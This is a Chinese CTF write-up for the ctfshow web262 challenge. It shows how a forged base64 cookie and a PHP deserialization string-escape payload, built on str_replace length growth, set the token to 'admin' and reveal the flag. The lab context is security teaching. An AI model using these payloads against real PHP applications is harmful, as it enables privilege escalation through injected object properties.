ctfshow-web262

(也是一篇非纯正题解,记录的是个人的一些思路和想法【虽然也没啥想法】)

一:初步尝试

进去之后看到的是这些东西:

php 复制代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里可以看到有一个是str replace,是将fuck改为loveU,然后写在msg里面,后面又把这个设为一个cookie并进行base64编码,其实我刚开始的时候也是很懵的,这个序列化的msg好像没什么用,然后在想会不会有什么其他的东西,于是dirsearch扫了一下,发现了这么一个:

(虽然一般这种都是纯坑人的,但还是点进去看了一下,然后确实什么都没有)

然后再回到代码里去看,细心的话可以看到注释部分多了一个message.php【我从来都没关注过这个】,然后去访问了一下message.php是这样的:

php 复制代码
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这个满足 $msg->token=='admin' 即可,vscode里跑一下:

php 复制代码
<?php 
    class message{
        public $token='admin';
    }
    $a= new message();
    echo base64_encode(serialize($a));

结果如下,再放到cookie里面就行了:

php 复制代码
Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

然后这里有一个问题就是为什么我用dirsearch扫不出来message.php, 这个我觉得可能是diresarch的字典里面本身没有message.php,我加了个-u php之后只显示了**flag.php,**所以真要扫还得增加字典,但是不知道为什么我加了字典还是扫不出来,望知道的师傅能解答。

二:真实方法

这里用的方法是字符串逃逸问题:

最关键的部分是这里: umsg = str_replace('fuck', 'loveU', serialize(msg));

这里就是如果msg里面有fuck,那么就会将其替换为loveU,这样就会多出来一个字符,如果假设我们传入的t是fuck,那么后面就会替换成loveU:

php 复制代码
fuck";s:5:"token";s:5:"admin";}

loveU";s:5:"token";s:5:"admin";}

而php的读取逻辑是:

php 复制代码
s:4:"loveU";
     ↑↑↑↑
     只读 4 个字符

那么最后面会多出来U", 最关键的来了,它会被当成"新的 PHP 语法结构"继续解析!

对象反序列化时,同名属性,后出现的覆盖前面的

原来 tokenuser,因为字符串替换导致长度不匹配,多出来的内容被当成"新的反序列化结构",而这个结构里我们伪造了一个 token = admin,反序列化时"后面的同名属性覆盖前面的",所以最终 token 变成了 admin

然后就是要对齐结构 ,一次 fuck → loveU 只多 1 个字节,不够我们完整地插**token";s:5:"admin"** 这种结构,所以必须用多个 fuck 来"攒长度"。然后就是看字符串的长度了,这里同样也有一个十分重要的点:

php 复制代码
";s:5:"token";s:5:"admin";}  //这个最前面的 " 是必须的

一共27,是 "刚好完整逃逸 + 正确闭合结构", 因此我们最终的payload为**:**

php 复制代码
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php即可得到flag:

最后的最后可能有人会问为什么是放在t里面可不可以是m或者f那边,在这里面是绝对不能的,因为PHP 反序列化是顺序解析 的,我们在哪个字段制造"长度逃逸",就会污染它后面的所有结构。而t是离token最近、又不会污染其他字段的最佳逃逸点。

三:总结

这是一道典型的PHP serialize + str_replace = 属性注入 ,通过这道题,我们了解了什么是字符串逃逸,以及如何选择和构造字符串逃逸如果这里不能偷鸡 即一定要进行字符串逃逸话的题目要加上相应限制如**不能直接控制 cookie【**cookie 是程序生成的】token是protected/private或者有wakeup()检查

又是受益匪浅的一天~

相关推荐
BingoGo16 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack16 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo2 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack3 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
QQ5110082853 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe3 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
一名优秀的码农3 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析